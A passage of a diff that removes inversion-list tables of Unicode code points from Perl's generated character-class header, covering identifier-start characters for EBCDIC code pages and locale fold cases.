0xA960, - 0xA97D, - 0xA984, - 0xA9B3, - 0xA9CF, - 0xA9D0, - 0xA9E0, - 0xA9E5, - 0xA9E6, - 0xA9F0, - 0xA9FA, - 0xA9FF, - 0xAA00, - 0xAA29, - 0xAA40, - 0xAA43, - 0xAA44, - 0xAA4C, - 0xAA60, - 0xAA77, - 0xAA7A, - 0xAA7B, - 0xAA7E, - 0xAAB0, - 0xAAB1, - 0xAAB2, - 0xAAB5, - 0xAAB7, - 0xAAB9, - 0xAABE, - 0xAAC0, - 0xAAC1, - 0xAAC2, - 0xAAC3, - 0xAADB, - 0xAADE, - 0xAAE0, - 0xAAEB, - 0xAAF2, - 0xAAF5, - 0xAB01, - 0xAB07, - 0xAB09, - 0xAB0F, - 0xAB11, - 0xAB17, - 0xAB20, - 0xAB27, - 0xAB28, - 0xAB2F, - 0xAB30, - 0xAB5B, - 0xAB5C, - 0xAB66, - 0xAB70, - 0xABE3, - 0xAC00, - 0xD7A4, - 0xD7B0, - 0xD7C7, - 0xD7CB, - 0xD7FC, - 0xF900, - 0xFA6E, - 0xFA70, - 0xFADA, - 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18, - 0xFB1D, - 0xFB1E, - 0xFB1F, - 0xFB29, - 0xFB2A, - 0xFB37, - 0xFB38, - 0xFB3D, - 0xFB3E, - 0xFB3F, - 0xFB40, - 0xFB42, - 0xFB43, - 0xFB45, - 0xFB46, - 0xFBB2, - 0xFBD3, - 0xFC5E, - 0xFC64, - 0xFD3E, - 0xFD50, - 0xFD90, - 0xFD92, - 0xFDC8, - 0xFDF0, - 0xFDFA, - 0xFE71, - 0xFE72, - 0xFE73, - 0xFE74, - 0xFE77, - 0xFE78, - 0xFE79, - 0xFE7A, - 0xFE7B, - 0xFE7C, - 0xFE7D, - 0xFE7E, - 0xFE7F, - 0xFEFD, - 0xFF21, - 0xFF3B, - 0xFF41, - 0xFF5B, - 0xFF66, - 0xFF9E, - 0xFFA0, - 0xFFBF, - 0xFFC2, - 0xFFC8, - 0xFFCA, - 0xFFD0, - 0xFFD2, - 0xFFD8, - 0xFFDA, - 0xFFDD, - 0x10000, - 0x1000C, - 0x1000D, - 0x10027, - 0x10028, - 0x1003B, - 0x1003C, - 0x1003E, - 0x1003F, - 0x1004E, - 0x10050, - 0x1005E, - 0x10080, - 0x100FB, - 0x10140, - 0x10175, - 0x10280, - 0x1029D, - 0x102A0, - 0x102D1, - 0x10300, - 0x10320, - 0x1032D, - 0x1034B, - 0x10350, - 0x10376, - 0x10380, - 0x1039E, - 0x103A0, - 0x103C4, - 0x103C8, - 0x103D0, - 0x103D1, - 0x103D6, - 0x10400, - 0x1049E, - 0x104B0, - 0x104D4, - 0x104D8, - 0x104FC, - 0x10500, - 0x10528, - 0x10530, - 0x10564, - 0x10600, - 0x10737, - 0x10740, - 0x10756, - 0x10760, - 0x10768, - 0x10800, - 0x10806, - 0x10808, - 0x10809, - 0x1080A, - 0x10836, - 0x10837, - 0x10839, - 0x1083C, - 0x1083D, - 0x1083F, - 0x10856, - 0x10860, - 0x10877, - 0x10880, - 0x1089F, - 0x108E0, - 0x108F3, - 0x108F4, - 0x108F6, - 0x10900, - 0x10916, - 0x10920, - 0x1093A, - 0x10980, - 0x109B8, - 0x109BE, - 0x109C0, - 0x10A00, - 0x10A01, - 0x10A10, - 0x10A14, - 0x10A15, - 0x10A18, - 0x10A19, - 0x10A34, - 0x10A60, - 0x10A7D, - 0x10A80, - 0x10A9D, - 0x10AC0, - 0x10AC8, - 0x10AC9, - 0x10AE5, - 0x10B00, - 0x10B36, - 0x10B40, - 0x10B56, - 0x10B60, - 0x10B73, - 0x10B80, - 0x10B92, - 0x10C00, - 0x10C49, - 0x10C80, - 0x10CB3, - 0x10CC0, - 0x10CF3, - 0x11003, - 0x11038, - 0x11083, - 0x110B0, - 0x110D0, - 0x110E9, - 0x11103, - 0x11127, - 0x11150, - 0x11173, - 0x11176, - 0x11177, - 0x11183, - 0x111B3, - 0x111C1, - 0x111C5, - 0x111DA, - 0x111DB, - 0x111DC, - 0x111DD, - 0x11200, - 0x11212, - 0x11213, - 0x1122C, - 0x11280, - 0x11287, - 0x11288, - 0x11289, - 0x1128A, - 0x1128E, - 0x1128F, - 0x1129E, - 0x1129F, - 0x112A9, - 0x112B0, - 0x112DF, - 0x11305, - 0x1130D, - 0x1130F, - 0x11311, - 0x11313, - 0x11329, - 0x1132A, - 0x11331, - 0x11332, - 0x11334, - 0x11335, - 0x1133A, - 0x1133D, - 0x1133E, - 0x11350, - 0x11351, - 0x1135D, - 0x11362, - 0x11400, - 0x11435, - 0x11447, - 0x1144B, - 0x11480, - 0x114B0, - 0x114C4, - 0x114C6, - 0x114C7, - 0x114C8, - 0x11580, - 0x115AF, - 0x115D8, - 0x115DC, - 0x11600, - 0x11630, - 0x11644, - 0x11645, - 0x11680, - 0x116AB, - 0x11700, - 0x1171A, - 0x118A0, - 0x118E0, - 0x118FF, - 0x11900, - 0x11A00, - 0x11A01, - 0x11A0B, - 0x11A33, - 0x11A3A, - 0x11A3B, - 0x11A50, - 0x11A51, - 0x11A5C, - 0x11A84, - 0x11A86, - 0x11A8A, - 0x11AC0, - 0x11AF9, - 0x11C00, - 0x11C09, - 0x11C0A, - 0x11C2F, - 0x11C40, - 0x11C41, - 0x11C72, - 0x11C90, - 0x11D00, - 0x11D07, - 0x11D08, - 0x11D0A, - 0x11D0B, - 0x11D31, - 0x11D46, - 0x11D47, - 0x12000, - 0x1239A, - 0x12400, - 0x1246F, - 0x12480, - 0x12544, - 0x13000, - 0x1342F, - 0x14400, - 0x14647, - 0x16800, - 0x16A39, - 0x16A40, - 0x16A5F, - 0x16AD0, - 0x16AEE, - 0x16B00, - 0x16B30, - 0x16B40, - 0x16B44, - 0x16B63, - 0x16B78, - 0x16B7D, - 0x16B90, - 0x16F00, - 0x16F45, - 0x16F50, - 0x16F51, - 0x16F93, - 0x16FA0, - 0x16FE0, - 0x16FE2, - 0x17000, - 0x187ED, - 0x18800, - 0x18AF3, - 0x1B000, - 0x1B11F, - 0x1B170, - 0x1B2FC, - 0x1BC00, - 0x1BC6B, - 0x1BC70, - 0x1BC7D, - 0x1BC80, - 0x1BC89, - 0x1BC90, - 0x1BC9A, - 0x1D400, - 0x1D455, - 0x1D456, - 0x1D49D, - 0x1D49E, - 0x1D4A0, - 0x1D4A2, - 0x1D4A3, - 0x1D4A5, - 0x1D4A7, - 0x1D4A9, - 0x1D4AD, - 0x1D4AE, - 0x1D4BA, - 0x1D4BB, - 0x1D4BC, - 0x1D4BD, - 0x1D4C4, - 0x1D4C5, - 0x1D506, - 0x1D507, - 0x1D50B, - 0x1D50D, - 0x1D515, - 0x1D516, - 0x1D51D, - 0x1D51E, - 0x1D53A, - 0x1D53B, - 0x1D53F, - 0x1D540, - 0x1D545, - 0x1D546, - 0x1D547, - 0x1D54A, - 0x1D551, - 0x1D552, - 0x1D6A6, - 0x1D6A8, - 0x1D6C1, - 0x1D6C2, - 0x1D6DB, - 0x1D6DC, - 0x1D6FB, - 0x1D6FC, - 0x1D715, - 0x1D716, - 0x1D735, - 0x1D736, - 0x1D74F, - 0x1D750, - 0x1D76F, - 0x1D770, - 0x1D789, - 0x1D78A, - 0x1D7A9, - 0x1D7AA, - 0x1D7C3, - 0x1D7C4, - 0x1D7CC, - 0x1E800, - 0x1E8C5, - 0x1E900, - 0x1E944, - 0x1EE00, - 0x1EE04, - 0x1EE05, - 0x1EE20, - 0x1EE21, - 0x1EE23, - 0x1EE24, - 0x1EE25, - 0x1EE27, - 0x1EE28, - 0x1EE29, - 0x1EE33, - 0x1EE34, - 0x1EE38, - 0x1EE39, - 0x1EE3A, - 0x1EE3B, - 0x1EE3C, - 0x1EE42, - 0x1EE43, - 0x1EE47, - 0x1EE48, - 0x1EE49, - 0x1EE4A, - 0x1EE4B, - 0x1EE4C, - 0x1EE4D, - 0x1EE50, - 0x1EE51, - 0x1EE53, - 0x1EE54, - 0x1EE55, - 0x1EE57, - 0x1EE58, - 0x1EE59, - 0x1EE5A, - 0x1EE5B, - 0x1EE5C, - 0x1EE5D, - 0x1EE5E, - 0x1EE5F, - 0x1EE60, - 0x1EE61, - 0x1EE63, - 0x1EE64, - 0x1EE65, - 0x1EE67, - 0x1EE6B, - 0x1EE6C, - 0x1EE73, - 0x1EE74, - 0x1EE78, - 0x1EE79, - 0x1EE7D, - 0x1EE7E, - 0x1EE7F, - 0x1EE80, - 0x1EE8A, - 0x1EE8B, - 0x1EE9C, - 0x1EEA1, - 0x1EEA4, - 0x1EEA5, - 0x1EEAA, - 0x1EEAB, - 0x1EEBC, - 0x20000, - 0x2A6D7, - 0x2A700, - 0x2B735, - 0x2B740, - 0x2B81E, - 0x2B820, - 0x2CEA2, - 0x2CEB0, - 0x2EBE1, - 0x2F800, - 0x2FA1E -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL__PERL_IDSTART_invlist[] = { /* for EBCDIC 037 */ - 1211, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x42, - 0x4A, - 0x51, - 0x5A, - 0x62, - 0x6A, - 0x6D, - 0x6E, - 0x70, - 0x79, - 0x80, - 0x8A, - 0x8C, - 0x8F, - 0x91, - 0x9D, - 0x9E, - 0x9F, - 0xA0, - 0xA1, - 0xA2, - 0xAA, - 0xAC, - 0xAF, - 0xC1, - 0xCA, - 0xCB, - 0xD0, - 0xD1, - 0xDA, - 0xDB, - 0xE0, - 0xE2, - 0xEA, - 0xEB, - 0xF0, - 0xFB, - 0xFF, - 0x100, - 0x2C2, - 0x2C6, - 0x2D2, - 0x2E0, - 0x2E5, - 0x2EC, - 0x2ED, - 0x2EE, - 0x2EF, - 0x370, - 0x375, - 0x376, - 0x378, - 0x37B, - 0x37E, - 0x37F, - 0x380, - 0x386, - 0x387, - 0x388, - 0x38B, - 0x38C, - 0x38D, - 0x38E, - 0x3A2, - 0x3A3, - 0x3F6, - 0x3F7, - 0x482, - 0x48A, - 0x530, - 0x531, - 0x557, - 0x559, - 0x55A, - 0x561, - 0x588, - 0x5D0, - 0x5EB, - 0x5F0, - 0x5F3, - 0x620, - 0x64B, - 0x66E, - 0x670, - 0x671, - 0x6D4, - 0x6D5, - 0x6D6, - 0x6E5, - 0x6E7, - 0x6EE, - 0x6F0, - 0x6FA, - 0x6FD, - 0x6FF, - 0x700, - 0x710, - 0x711, - 0x712, - 0x730, - 0x74D, - 0x7A6, - 0x7B1, - 0x7B2, - 0x7CA, - 0x7EB, - 0x7F4, - 0x7F6, - 0x7FA, - 0x7FB, - 0x800, - 0x816, - 0x81A, - 0x81B, - 0x824, - 0x825, - 0x828, - 0x829, - 0x840, - 0x859, - 0x860, - 0x86B, - 0x8A0, - 0x8B5, - 0x8B6, - 0x8BE, - 0x904, - 0x93A, - 0x93D, - 0x93E, - 0x950, - 0x951, - 0x958, - 0x962, - 0x971, - 0x981, - 0x985, - 0x98D, - 0x98F, - 0x991, - 0x993, - 0x9A9, - 0x9AA, - 0x9B1, - 0x9B2, - 0x9B3, - 0x9B6, - 0x9BA, - 0x9BD, - 0x9BE, - 0x9CE, - 0x9CF, - 0x9DC, - 0x9DE, - 0x9DF, - 0x9E2, - 0x9F0, - 0x9F2, - 0x9FC, - 0x9FD, - 0xA05, - 0xA0B, - 0xA0F, - 0xA11, - 0xA13, - 0xA29, - 0xA2A, - 0xA31, - 0xA32, - 0xA34, - 0xA35, - 0xA37, - 0xA38, - 0xA3A, - 0xA59, - 0xA5D, - 0xA5E, - 0xA5F, - 0xA72, - 0xA75, - 0xA85, - 0xA8E, - 0xA8F, - 0xA92, - 0xA93, - 0xAA9, - 0xAAA, - 0xAB1, - 0xAB2, - 0xAB4, - 0xAB5, - 0xABA, - 0xABD, - 0xABE, - 0xAD0, - 0xAD1, - 0xAE0, - 0xAE2, - 0xAF9, - 0xAFA, - 0xB05, - 0xB0D, - 0xB0F, - 0xB11, - 0xB13, - 0xB29, - 0xB2A, - 0xB31, - 0xB32, - 0xB34, - 0xB35, - 0xB3A, - 0xB3D, - 0xB3E, - 0xB5C, - 0xB5E, - 0xB5F, - 0xB62, - 0xB71, - 0xB72, - 0xB83, - 0xB84, - 0xB85, - 0xB8B, - 0xB8E, - 0xB91, - 0xB92, - 0xB96, - 0xB99, - 0xB9B, - 0xB9C, - 0xB9D, - 0xB9E, - 0xBA0, - 0xBA3, - 0xBA5, - 0xBA8, - 0xBAB, - 0xBAE, - 0xBBA, - 0xBD0, - 0xBD1, - 0xC05, - 0xC0D, - 0xC0E, - 0xC11, - 0xC12, - 0xC29, - 0xC2A, - 0xC3A, - 0xC3D, - 0xC3E, - 0xC58, - 0xC5B, - 0xC60, - 0xC62, - 0xC80, - 0xC81, - 0xC85, - 0xC8D, - 0xC8E, - 0xC91, - 0xC92, - 0xCA9, - 0xCAA, - 0xCB4, - 0xCB5, - 0xCBA, - 0xCBD, - 0xCBE, - 0xCDE, - 0xCDF, - 0xCE0, - 0xCE2, - 0xCF1, - 0xCF3, - 0xD05, - 0xD0D, - 0xD0E, - 0xD11, - 0xD12, - 0xD3B, - 0xD3D, - 0xD3E, - 0xD4E, - 0xD4F, - 0xD54, - 0xD57, - 0xD5F, - 0xD62, - 0xD7A, - 0xD80, - 0xD85, - 0xD97, - 0xD9A, - 0xDB2, - 0xDB3, - 0xDBC, - 0xDBD, - 0xDBE, - 0xDC0, - 0xDC7, - 0xE01, - 0xE31, - 0xE32, - 0xE33, - 0xE40, - 0xE47, - 0xE81, - 0xE83, - 0xE84, - 0xE85, - 0xE87, - 0xE89, - 0xE8A, - 0xE8B, - 0xE8D, - 0xE8E, - 0xE94, - 0xE98, - 0xE99, - 0xEA0, - 0xEA1, - 0xEA4, - 0xEA5, - 0xEA6, - 0xEA7, - 0xEA8, - 0xEAA, - 0xEAC, - 0xEAD, - 0xEB1, - 0xEB2, - 0xEB3, - 0xEBD, - 0xEBE, - 0xEC0, - 0xEC5, - 0xEC6, - 0xEC7, - 0xEDC, - 0xEE0, - 0xF00, - 0xF01, - 0xF40, - 0xF48, - 0xF49, - 0xF6D, - 0xF88, - 0xF8D, - 0x1000, - 0x102B, - 0x103F, - 0x1040, - 0x1050, - 0x1056, - 0x105A, - 0x105E, - 0x1061, - 0x1062, - 0x1065, - 0x1067, - 0x106E, - 0x1071, - 0x1075, - 0x1082, - 0x108E, - 0x108F, - 0x10A0, - 0x10C6, - 0x10C7, - 0x10C8, - 0x10CD, - 0x10CE, - 0x10D0, - 0x10FB, - 0x10FC, - 0x1249, - 0x124A, - 0x124E, - 0x1250, - 0x1257, - 0x1258, - 0x1259, - 0x125A, - 0x125E, - 0x1260, - 0x1289, - 0x128A, - 0x128E, - 0x1290, - 0x12B1, - 0x12B2, - 0x12B6, - 0x12B8, - 0x12BF, - 0x12C0, - 0x12C1, - 0x12C2, - 0x12C6, - 0x12C8, - 0x12D7, - 0x12D8, - 0x1311, - 0x1312, - 0x1316, - 0x1318, - 0x135B, - 0x1380, - 0x1390, - 0x13A0, - 0x13F6, - 0x13F8, - 0x13FE, - 0x1401, - 0x166D, - 0x166F, - 0x1680, - 0x1681, - 0x169B, - 0x16A0, - 0x16EB, - 0x16EE, - 0x16F9, - 0x1700, - 0x170D, - 0x170E, - 0x1712, - 0x1720, - 0x1732, - 0x1740, - 0x1752, - 0x1760, - 0x176D, - 0x176E, - 0x1771, - 0x1780, - 0x17B4, - 0x17D7, - 0x17D8, - 0x17DC, - 0x17DD, - 0x1820, - 0x1878, - 0x1880, - 0x18A9, - 0x18AA, - 0x18AB, - 0x18B0, - 0x18F6, - 0x1900, - 0x191F, - 0x1950, - 0x196E, - 0x1970, - 0x1975, - 0x1980, - 0x19AC, - 0x19B0, - 0x19CA, - 0x1A00, - 0x1A17, - 0x1A20, - 0x1A55, - 0x1AA7, - 0x1AA8, - 0x1B05, - 0x1B34, - 0x1B45, - 0x1B4C, - 0x1B83, - 0x1BA1, - 0x1BAE, - 0x1BB0, - 0x1BBA, - 0x1BE6, - 0x1C00, - 0x1C24, - 0x1C4D, - 0x1C50, - 0x1C5A, - 0x1C7E, - 0x1C80, - 0x1C89, - 0x1CE9, - 0x1CED, - 0x1CEE, - 0x1CF2, - 0x1CF5, - 0x1CF7, - 0x1D00, - 0x1DC0, - 0x1E00, - 0x1F16, - 0x1F18, - 0x1F1E, - 0x1F20, - 0x1F46, - 0x1F48, - 0x1F4E, - 0x1F50, - 0x1F58, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, - 0x1F7E, - 0x1F80, - 0x1FB5, - 0x1FB6, - 0x1FBD, - 0x1FBE, - 0x1FBF, - 0x1FC2, - 0x1FC5, - 0x1FC6, - 0x1FCD, - 0x1FD0, - 0x1FD4, - 0x1FD6, - 0x1FDC, - 0x1FE0, - 0x1FED, - 0x1FF2, - 0x1FF5, - 0x1FF6, - 0x1FFD, - 0x2071, - 0x2072, - 0x207F, - 0x2080, - 0x2090, - 0x209D, - 0x2102, - 0x2103, - 0x2107, - 0x2108, - 0x210A, - 0x2114, - 0x2115, - 0x2116, - 0x2119, - 0x211E, - 0x2124, - 0x2125, - 0x2126, - 0x2127, - 0x2128, - 0x2129, - 0x212A, - 0x212E, - 0x212F, - 0x213A, - 0x213C, - 0x2140, - 0x2145, - 0x214A, - 0x214E, - 0x214F, - 0x2160, - 0x2189, - 0x2C00, - 0x2C2F, - 0x2C30, - 0x2C5F, - 0x2C60, - 0x2CE5, - 0x2CEB, - 0x2CEF, - 0x2CF2, - 0x2CF4, - 0x2D00, - 0x2D26, - 0x2D27, - 0x2D28, - 0x2D2D, - 0x2D2E, - 0x2D30, - 0x2D68, - 0x2D6F, - 0x2D70, - 0x2D80, - 0x2D97, - 0x2DA0, - 0x2DA7, - 0x2DA8, - 0x2DAF, - 0x2DB0, - 0x2DB7, - 0x2DB8, - 0x2DBF, - 0x2DC0, - 0x2DC7, - 0x2DC8, - 0x2DCF, - 0x2DD0, - 0x2DD7, - 0x2DD8, - 0x2DDF, - 0x3005, - 0x3008, - 0x3021, - 0x302A, - 0x3031, - 0x3036, - 0x3038, - 0x303D, - 0x3041, - 0x3097, - 0x309D, - 0x30A0, - 0x30A1, - 0x30FB, - 0x30FC, - 0x3100, - 0x3105, - 0x312F, - 0x3131, - 0x318F, - 0x31A0, - 0x31BB, - 0x31F0, - 0x3200, - 0x3400, - 0x4DB6, - 0x4E00, - 0x9FEB, - 0xA000, - 0xA48D, - 0xA4D0, - 0xA4FE, - 0xA500, - 0xA60D, - 0xA610, - 0xA620, - 0xA62A, - 0xA62C, - 0xA640, - 0xA66F, - 0xA67F, - 0xA69E, - 0xA6A0, - 0xA6F0, - 0xA717, - 0xA720, - 0xA722, - 0xA789, - 0xA78B, - 0xA7AF, - 0xA7B0, - 0xA7B8, - 0xA7F7, - 0xA802, - 0xA803, - 0xA806, - 0xA807, - 0xA80B, - 0xA80C, - 0xA823, - 0xA840, - 0xA874, - 0xA882, - 0xA8B4, - 0xA8F2, - 0xA8F8, - 0xA8FB, - 0xA8FC, - 0xA8FD, - 0xA8FE, - 0xA90A, - 0xA926, - 0xA930, - 0xA947, - 0xA960, - 0xA97D, - 0xA984, - 0xA9B3, - 0xA9CF, - 0xA9D0, - 0xA9E0, - 0xA9E5, - 0xA9E6, - 0xA9F0, - 0xA9FA, - 0xA9FF, - 0xAA00, - 0xAA29, - 0xAA40, - 0xAA43, - 0xAA44, - 0xAA4C, - 0xAA60, - 0xAA77, - 0xAA7A, - 0xAA7B, - 0xAA7E, - 0xAAB0, - 0xAAB1, - 0xAAB2, - 0xAAB5, - 0xAAB7, - 0xAAB9, - 0xAABE, - 0xAAC0, - 0xAAC1, - 0xAAC2, - 0xAAC3, - 0xAADB, - 0xAADE, - 0xAAE0, - 0xAAEB, - 0xAAF2, - 0xAAF5, - 0xAB01, - 0xAB07, - 0xAB09, - 0xAB0F, - 0xAB11, - 0xAB17, - 0xAB20, - 0xAB27, - 0xAB28, - 0xAB2F, - 0xAB30, - 0xAB5B, - 0xAB5C, - 0xAB66, - 0xAB70, - 0xABE3, - 0xAC00, - 0xD7A4, - 0xD7B0, - 0xD7C7, - 0xD7CB, - 0xD7FC, - 0xF900, - 0xFA6E, - 0xFA70, - 0xFADA, - 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18, - 0xFB1D, - 0xFB1E, - 0xFB1F, - 0xFB29, - 0xFB2A, - 0xFB37, - 0xFB38, - 0xFB3D, - 0xFB3E, - 0xFB3F, - 0xFB40, - 0xFB42, - 0xFB43, - 0xFB45, - 0xFB46, - 0xFBB2, - 0xFBD3, - 0xFC5E, - 0xFC64, - 0xFD3E, - 0xFD50, - 0xFD90, - 0xFD92, - 0xFDC8, - 0xFDF0, - 0xFDFA, - 0xFE71, - 0xFE72, - 0xFE73, - 0xFE74, - 0xFE77, - 0xFE78, - 0xFE79, - 0xFE7A, - 0xFE7B, - 0xFE7C, - 0xFE7D, - 0xFE7E, - 0xFE7F, - 0xFEFD, - 0xFF21, - 0xFF3B, - 0xFF41, - 0xFF5B, - 0xFF66, - 0xFF9E, - 0xFFA0, - 0xFFBF, - 0xFFC2, - 0xFFC8, - 0xFFCA, - 0xFFD0, - 0xFFD2, - 0xFFD8, - 0xFFDA, - 0xFFDD, - 0x10000, - 0x1000C, - 0x1000D, - 0x10027, - 0x10028, - 0x1003B, - 0x1003C, - 0x1003E, - 0x1003F, - 0x1004E, - 0x10050, - 0x1005E, - 0x10080, - 0x100FB, - 0x10140, - 0x10175, - 0x10280, - 0x1029D, - 0x102A0, - 0x102D1, - 0x10300, - 0x10320, - 0x1032D, - 0x1034B, - 0x10350, - 0x10376, - 0x10380, - 0x1039E, - 0x103A0, - 0x103C4, - 0x103C8, - 0x103D0, - 0x103D1, - 0x103D6, - 0x10400, - 0x1049E, - 0x104B0, - 0x104D4, - 0x104D8, - 0x104FC, - 0x10500, - 0x10528, - 0x10530, - 0x10564, - 0x10600, - 0x10737, - 0x10740, - 0x10756, - 0x10760, - 0x10768, - 0x10800, - 0x10806, - 0x10808, - 0x10809, - 0x1080A, - 0x10836, - 0x10837, - 0x10839, - 0x1083C, - 0x1083D, - 0x1083F, - 0x10856, - 0x10860, - 0x10877, - 0x10880, - 0x1089F, - 0x108E0, - 0x108F3, - 0x108F4, - 0x108F6, - 0x10900, - 0x10916, - 0x10920, - 0x1093A, - 0x10980, - 0x109B8, - 0x109BE, - 0x109C0, - 0x10A00, - 0x10A01, - 0x10A10, - 0x10A14, - 0x10A15, - 0x10A18, - 0x10A19, - 0x10A34, - 0x10A60, - 0x10A7D, - 0x10A80, - 0x10A9D, - 0x10AC0, - 0x10AC8, - 0x10AC9, - 0x10AE5, - 0x10B00, - 0x10B36, - 0x10B40, - 0x10B56, - 0x10B60, - 0x10B73, - 0x10B80, - 0x10B92, - 0x10C00, - 0x10C49, - 0x10C80, - 0x10CB3, - 0x10CC0, - 0x10CF3, - 0x11003, - 0x11038, - 0x11083, - 0x110B0, - 0x110D0, - 0x110E9, - 0x11103, - 0x11127, - 0x11150, - 0x11173, - 0x11176, - 0x11177, - 0x11183, - 0x111B3, - 0x111C1, - 0x111C5, - 0x111DA, - 0x111DB, - 0x111DC, - 0x111DD, - 0x11200, - 0x11212, - 0x11213, - 0x1122C, - 0x11280, - 0x11287, - 0x11288, - 0x11289, - 0x1128A, - 0x1128E, - 0x1128F, - 0x1129E, - 0x1129F, - 0x112A9, - 0x112B0, - 0x112DF, - 0x11305, - 0x1130D, - 0x1130F, - 0x11311, - 0x11313, - 0x11329, - 0x1132A, - 0x11331, - 0x11332, - 0x11334, - 0x11335, - 0x1133A, - 0x1133D, - 0x1133E, - 0x11350, - 0x11351, - 0x1135D, - 0x11362, - 0x11400, - 0x11435, - 0x11447, - 0x1144B, - 0x11480, - 0x114B0, - 0x114C4, - 0x114C6, - 0x114C7, - 0x114C8, - 0x11580, - 0x115AF, - 0x115D8, - 0x115DC, - 0x11600, - 0x11630, - 0x11644, - 0x11645, - 0x11680, - 0x116AB, - 0x11700, - 0x1171A, - 0x118A0, - 0x118E0, - 0x118FF, - 0x11900, - 0x11A00, - 0x11A01, - 0x11A0B, - 0x11A33, - 0x11A3A, - 0x11A3B, - 0x11A50, - 0x11A51, - 0x11A5C, - 0x11A84, - 0x11A86, - 0x11A8A, - 0x11AC0, - 0x11AF9, - 0x11C00, - 0x11C09, - 0x11C0A, - 0x11C2F, - 0x11C40, - 0x11C41, - 0x11C72, - 0x11C90, - 0x11D00, - 0x11D07, - 0x11D08, - 0x11D0A, - 0x11D0B, - 0x11D31, - 0x11D46, - 0x11D47, - 0x12000, - 0x1239A, - 0x12400, - 0x1246F, - 0x12480, - 0x12544, - 0x13000, - 0x1342F, - 0x14400, - 0x14647, - 0x16800, - 0x16A39, - 0x16A40, - 0x16A5F, - 0x16AD0, - 0x16AEE, - 0x16B00, - 0x16B30, - 0x16B40, - 0x16B44, - 0x16B63, - 0x16B78, - 0x16B7D, - 0x16B90, - 0x16F00, - 0x16F45, - 0x16F50, - 0x16F51, - 0x16F93, - 0x16FA0, - 0x16FE0, - 0x16FE2, - 0x17000, - 0x187ED, - 0x18800, - 0x18AF3, - 0x1B000, - 0x1B11F, - 0x1B170, - 0x1B2FC, - 0x1BC00, - 0x1BC6B, - 0x1BC70, - 0x1BC7D, - 0x1BC80, - 0x1BC89, - 0x1BC90, - 0x1BC9A, - 0x1D400, - 0x1D455, - 0x1D456, - 0x1D49D, - 0x1D49E, - 0x1D4A0, - 0x1D4A2, - 0x1D4A3, - 0x1D4A5, - 0x1D4A7, - 0x1D4A9, - 0x1D4AD, - 0x1D4AE, - 0x1D4BA, - 0x1D4BB, - 0x1D4BC, - 0x1D4BD, - 0x1D4C4, - 0x1D4C5, - 0x1D506, - 0x1D507, - 0x1D50B, - 0x1D50D, - 0x1D515, - 0x1D516, - 0x1D51D, - 0x1D51E, - 0x1D53A, - 0x1D53B, - 0x1D53F, - 0x1D540, - 0x1D545, - 0x1D546, - 0x1D547, - 0x1D54A, - 0x1D551, - 0x1D552, - 0x1D6A6, - 0x1D6A8, - 0x1D6C1, - 0x1D6C2, - 0x1D6DB, - 0x1D6DC, - 0x1D6FB, - 0x1D6FC, - 0x1D715, - 0x1D716, - 0x1D735, - 0x1D736, - 0x1D74F, - 0x1D750, - 0x1D76F, - 0x1D770, - 0x1D789, - 0x1D78A, - 0x1D7A9, - 0x1D7AA, - 0x1D7C3, - 0x1D7C4, - 0x1D7CC, - 0x1E800, - 0x1E8C5, - 0x1E900, - 0x1E944, - 0x1EE00, - 0x1EE04, - 0x1EE05, - 0x1EE20, - 0x1EE21, - 0x1EE23, - 0x1EE24, - 0x1EE25, - 0x1EE27, - 0x1EE28, - 0x1EE29, - 0x1EE33, - 0x1EE34, - 0x1EE38, - 0x1EE39, - 0x1EE3A, - 0x1EE3B, - 0x1EE3C, - 0x1EE42, - 0x1EE43, - 0x1EE47, - 0x1EE48, - 0x1EE49, - 0x1EE4A, - 0x1EE4B, - 0x1EE4C, - 0x1EE4D, - 0x1EE50, - 0x1EE51, - 0x1EE53, - 0x1EE54, - 0x1EE55, - 0x1EE57, - 0x1EE58, - 0x1EE59, - 0x1EE5A, - 0x1EE5B, - 0x1EE5C, - 0x1EE5D, - 0x1EE5E, - 0x1EE5F, - 0x1EE60, - 0x1EE61, - 0x1EE63, - 0x1EE64, - 0x1EE65, - 0x1EE67, - 0x1EE6B, - 0x1EE6C, - 0x1EE73, - 0x1EE74, - 0x1EE78, - 0x1EE79, - 0x1EE7D, - 0x1EE7E, - 0x1EE7F, - 0x1EE80, - 0x1EE8A, - 0x1EE8B, - 0x1EE9C, - 0x1EEA1, - 0x1EEA4, - 0x1EEA5, - 0x1EEAA, - 0x1EEAB, - 0x1EEBC, - 0x20000, - 0x2A6D7, - 0x2A700, - 0x2B735, - 0x2B740, - 0x2B81E, - 0x2B820, - 0x2CEA2, - 0x2CEB0, - 0x2EBE1, - 0x2F800, - 0x2FA1E -}; - -# endif /* EBCDIC 037 */ - -static const UV PL__PERL_PROBLEMATIC_LOCALE_FOLDEDS_START_invlist[] = { /* for all charsets */ - 26, /* Number of elements */ - 148565664, /* Version and data structure type */ - 0, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x100, - 0x130, - 0x131, - 0x149, - 0x14A, - 0x178, - 0x179, - 0x17F, - 0x180, - 0x1F0, - 0x1F1, - 0x2BC, - 0x2BD, - 0x39C, - 0x39D, - 0x3BC, - 0x3BD, - 0x1E96, - 0x1E9B, - 0x1E9E, - 0x1E9F, - 0x212A, - 0x212C, - 0xFB00, - 0xFB07 -}; - -static const UV PL__PERL_PROBLEMATIC_LOCALE_FOLDS_invlist[] = { /* for all charsets */ - 24, /* Number of elements */ - 148565664, /* Version and data structure type */ - 0, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x100, - 0x130, - 0x131, - 0x149, - 0x14A, - 0x178, - 0x179, - 0x17F, - 0x180, - 0x1F0, - 0x1F1, - 0x39C, - 0x39D, - 0x3BC, - 0x3BD, - 0x1E96, - 0x1E9B, - 0x1E9E, - 0x1E9F, - 0x212A, - 0x212C, - 0xFB00, - 0xFB07 -}; - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV 